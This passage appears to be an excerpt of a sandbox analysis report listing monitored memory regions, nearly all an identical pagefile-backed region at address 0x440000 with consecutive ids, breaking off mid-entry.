Region: id = 4892 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4893 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4894 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4895 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4896 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4897 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4898 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4899 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4900 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4901 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4902 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4903 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4904 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4905 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4906 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4907 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4908 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4909 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4910 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4911 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4912 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4913 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4914 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4915 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4916 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4917 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4918 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4919 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4920 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4921 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4922 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4923 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4924 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4925 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4926 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4927 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4928 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4929 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4930 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4931 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4932 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4933 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4934 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4935 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4936 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4937 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4938 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4939 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4940 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4941 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4942 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4943 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4944 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4945 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4946 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4947 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4948 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4949 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4950 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4951 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4952 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4953 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4954 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4955 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4956 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4957 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4958 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4959 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4960 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4961 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 4962 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4963 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4964 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4965 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4966 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4967 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4968 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4969 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4970 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4971 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4972 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4973 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4974 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4975 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4976 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4977 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4978 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4979 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4980 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4981 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4982 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4983 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4984 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4985 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4986 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4987 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4988 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4989 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4990 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4991 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4992 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4993 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4994 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4995 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4996 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4997 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4998 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4999 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5000 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5001 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5002 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5003 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5004 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5005 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5006 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5007 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5008 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5009 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5010 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5011 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5012 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5013 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5014 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5015 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5016 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5017 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5018 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5019 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5020 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5021 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5022 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5023 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5024 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5025 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5026 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5027 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5028 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5029 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5030 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5031 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5032 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5033 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5034 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5035 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5036 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5037 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5038 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5039 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5040 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5041 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5042 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5043 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5044 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5045 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5046 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5047 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5048 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5049 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5050 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5051 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5052 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5053 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5054 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5055 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5056 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5057 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5058 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5059 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5060 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5061 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5062 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5063 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5064 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5065 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5066 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5067 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5068 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5069 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5070 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5071 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5072 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5073 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 5074 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 5075 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 5076 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5077 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5078 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5079 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5080 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5081 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 5082 start_va = 0x440000 